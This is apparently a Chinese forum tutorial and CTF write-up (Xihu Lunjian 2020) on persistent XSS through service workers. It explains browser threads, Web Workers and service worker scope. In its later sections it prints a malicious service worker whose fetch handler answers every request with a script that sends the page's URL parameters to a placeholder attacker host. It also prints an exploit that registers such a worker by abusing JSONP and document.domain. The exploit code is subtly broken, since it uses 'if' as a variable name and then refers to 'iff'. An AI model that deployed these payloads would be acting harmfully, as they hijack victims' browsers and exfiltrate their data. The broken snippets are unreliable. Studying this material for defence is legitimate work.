持久化XSS基础 —— xss with service worker

浏览器模型知识

多进程与多线程

浏览器的多进程

以chrome为代表的主流浏览器都是使用多进程的模型,主要有五种进程

  • Browser Process: 浏览器主进程,负责主控和调用,创建和销毁其他进程。
  • GPU Process: 主要负责GPU相关操作。
  • Renderer Process: 每创建一个tab页就会开启一个Renderer Process 负责对应的tab页的内部网页呈现的所有,比如说页面渲染,事件执行,脚本执行。这个进程是多线程的。它就是常说的浏览器内核
  • Plugin Process: 启用一个插件就会创建一个对应的进程。

浏览器的多线程

Renderer Process是浏览器为每一个tab页单独启用的进程,所以每一个Renderer Process 都会有独立的渲染引擎实例。一般来说一个tab下会有如下五个线程

  • CUI线程: 这个线程负责渲染页面的html元素,它再重绘和重排的时候会执行。这个线程和 JS引擎线程互斥。

HTML渲染大致分为如下几步:

  1. HTML被HTML解析器解析成DOM Tree, css则被css解析器解析成CSSOM Tree。
  2. DOM Tree和CSSOM Tree解析完成后,被附加到一起,形成渲染树(Render Tree)。
  3. 节点信息计算(重排),这个过程被叫做Layout(Webkit)或者Reflow(Mozilla)。即根据渲染树计算每个节点的几何信息。
  4. 渲染绘制(重绘),这个过程被叫做(Painting 或者 Repaint)。即根据计算好的信息绘制整个页面。

以上4步简述浏览器的一次渲染过程,理论上,每一次的dom更改或者css几何属性更改,都会引起一次浏览器的重排/重绘过程,而如果是css的非几何属性更改,则只会引起重绘过程。所以说重排一定会引起重绘,而重绘不一定会引起重排。

  • JS引擎线程(chrome的V8):JS内核,在后台等待任务,负责解析运行 JS 代码,在一个 Renderer 进程之中同时只能有一个 JS 线程。(JS的单线程性)
  • 定时触发线程:setTimeout和setInterval的计时器线程,由于 JS 的单线程性,所以设计成又单独的线程计时。
  • 事件触发线程:负责将浏览器和其他线程触发的符合要求的事件添加到 JS 引擎队列的末尾,等待 JS 引擎执行。
  • 异步请求线程:在XMLHttpRequest在连接后是通过浏览器新开一个线程请求, 将检测到状态变更时,如果设置有回调函数,异步线程就产生状态变更事件放到 JavaScript引擎的处理队列中等待处理。

关于JS单线程的解决

为了多核CPU的计算能力,HTML5提出Web Worker标准,允许JavaScript脚本创建多个线程,但是子线程完全受主线程控制,且不得操作DOM。所以,这个新标准并没有改变JavaScript单线程的本质。

web workers

web workers的概念

Web Worker为Web内容在后台线程中运行脚本提供了一种简单的方法。线程可以执行任务而不干扰用户界面。一旦创建, 一个worker 可以将消息发送到创建它的JavaScript代码, 通过将消息发布到该代码指定的事件处理程序(反之亦然)。

web workers的用法

使用构造函数可以创建一个worker对象,构造函数接受一个JavaScript文件的URL,这个文件就是将要在worker线程中运行的代码。值得注意的是worker将会运行在与页面window对象完全不同的全局上下文中。

在worker线程中你可以运行大部分代码,但是有一些例外:

  • DOM对象
  • window对象的某些属性和方法
  • documen对象
  • parent对象

详细的信息可以参考:Functions and classes available to Web Workers

特殊种类的web workers

  • shared workers:可以被不同窗口的对各脚本运行,只要这些workers处于同一个主域。详细的用法会在之后的博文介绍

  • service workers :般作为web应用程序、浏览器和网络(如果可用)之间的代理服务。他们旨在(除开其他方面)创建有效的离线体验,拦截网络请求,以及根据网络是否可用采取合适的行动,更新驻留在服务器上的资源。他们还将允许访问推送通知和后台同步API。

    从网络安全的角度看,此woekers可以被利用成一个持久化XSS的工具。

service worker 的简介

service worker的概念

Service worker是一个注册在指定源和路径下的事件驱动worker。它采用JavaScript控制关联的页面或者网站,拦截并修改访问和资源请求,细粒度地缓存资源。你可以完全控制应用在特定情形(最常见的情形是网络不可用)下的表现。

Service worker运行在worker上下文,因此它不能访问DOM。相对于驱动应用的主JavaScript线程,它运行在其他线程中,所以不会造成阻塞。它设计为完全异步,同步API(如XHRlocalStorage)不能在service worker中使用。

出于安全考量,Service workers只能由HTTPS(出于调试方便,还支持在localhost使用),毕竟修改网络请求的能力暴露给中间人攻击会非常危险。在Firefox浏览器的用户隐私模式,Service Worker不可用。

官方文档

1、只能注册同源下的js

2、站内必须支持Secure Context,也就是站内必须是https://或者http://localhost/

3、Content-Type必须是js

  • text/javascript
  • application/x-javascript
  • application/javascript

总之service worker就是一个介于服务端和客户端的一个 代理服务器。

service worker的基本架构

生命周期

service worker是通过serviceWorkerContainer.register() 来获取和注册的

关于Promise

Promise 对象用于表示一个异步操作的最终完成 (或失败)及其结果值。其精髓是支持链式调用。

必然是以下三种状态之一

  • 待定(pending): 初始状态,既没有被兑现,也没有被拒绝。
  • 已兑现(fulfilled): 意味着操作成功完成。
  • 已拒绝(rejected): 意味着操作失败。

整个生命流程大致为下面的的几个步骤:

支持的事件

service worker的作用域

  • service worker 只能抓取在 service worker scope 里从客户端发出的请求。
  • 最大的 scope 是 service worker 所在的地址
  • 如果你的 service worker 被激活在一个有 Service-Worker-Allowed header 的客户端,你可以为service worker 指定一个最大的 scope 的列表。
  • 在 Firefox, Service Worker APIs 在用户在 用户隐私模式 下会被隐藏而且无法使用。

整个service worker的作用域默认是service woker 注册的脚本的路径。这个作用也可以使用跨域的方法扩展。

service worker控制页面返回响应

fetch事件

使用ServiceWorker技术时,页面的提取动作会在ServiceWorker作用域(ServiceWorkerGlobalScope)中触发fetch事件.

service worker可以监听fetch事件来达到篡改返回,对页面嵌入恶意的srcipt脚本。

几个函数
  • WorkerGlobalScope.addEventListener(type,listener,option)

  • event.respondwith(任何自定义的响应生成代码)

    这个方法的目的是包裹段可以生成、返回response对象的代码,来控制响应。

  • Response(body,init)

//这个脚本可以将service worker作用域下的所有请求的url参数打到我的vps上。
//当然你也可以通过返回其他的东西来达到其他的目的。

self.addEventListener('install',function(event){
    console.log('install ok!');
})
self.addEventListener('fetch',function(event){
    console.log(event.request);
    event.respondWith(
    caches.match(event.request).then(function(res){
        return new Response('<script>location="http://IP?"+btoa(location.search)</script>', {headers: { 'Content-Type': 'text/html' }})
    })
    )
})

service worker的简单利用

JSONP+service worker

经过的介绍,知道了service worker只能使用同源的脚本注册,那么熟悉xss的师傅就很容易想到通过跨域来实现注册恶意脚本,那么JSONP就是一个好的搭配,因为jsonp的返回值都是js格式的,十分符合service worker的要求。

西湖论剑2020的 jsonp

//这段代码最终的效果就是在页面上生成一个
// <script src="https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=输入的参数"></script>
//标签

callback = "get_user_login_status";
auto_reg_var();//获取url参数
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
    jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
    if(result['status']){
        location.href = jump_url;
    }
})
function jsonp(url, success) {
    var script = document.createElement("script");
    if(url.indexOf("callback") < 0){
        var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
        url = url + "?" + "callback=" + funName;
    }else{
        var funName = callback;
    }
    window[funName] = function(data) {
        success(data);
        delete window[funName];
        document.body.removeChild(script);
    }
    script.src = url;
    document.body.appendChild(script);
}
function auto_reg_var(){
    var search = location.search.slice(1);
    var search_arr = search.split('&');
    for(var i = 0;i < search_arr.length; i++){
        [key,value] = search_arr[i].split("=");
        window[key] = value;
    }
}

文件上传+service worker

如果有文件上传的点,可以尝试上传恶意js脚本,一般来说上传的js代码也是js格式的。

service worker综合跨域扩展攻击

西湖论剑2020xss

在这个环境里面,有两个域名auth.hardxss.xhlj.wetolink.comxss.hardxss.xhlj.wetolink.com

jsop的点在 auth 子域名里面,xss的点在 xss 子域名里面,并且在xss页面有一个设置document.domian=hardxss.xhlj.wetolink.com

的内容。

<script type="text/javascript">
    document.domain = "hardxss.xhlj.wetolink.com";
</script>

我们就可以尝试使用设置doucment.domain的方法来实行

document.domain = "hardxss.xhlj.wetolink.com";
var if = document.createElement('iframe');
if.src = 'https://auth.hardxss.xhlj.wetolink.com/';
if.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(if);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('vps/test.js')")`;//获取代码,要求https
function iffLoadover(){
    iff.contentWindow.eval(exp);//注册代码
}

test.js

self.addEventListener('install',function(event){
    console.log('install ok!');
})
self.addEventListener('fetch',function(event){
    console.log(event.request);
    event.respondWith(
    caches.match(event.request).then(function(res){
        return new Response('<script>location="http://IP?"+btoa(location.search)</script>', {headers: { 'Content-Type': 'text/html' }})
    })
    )
})
点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖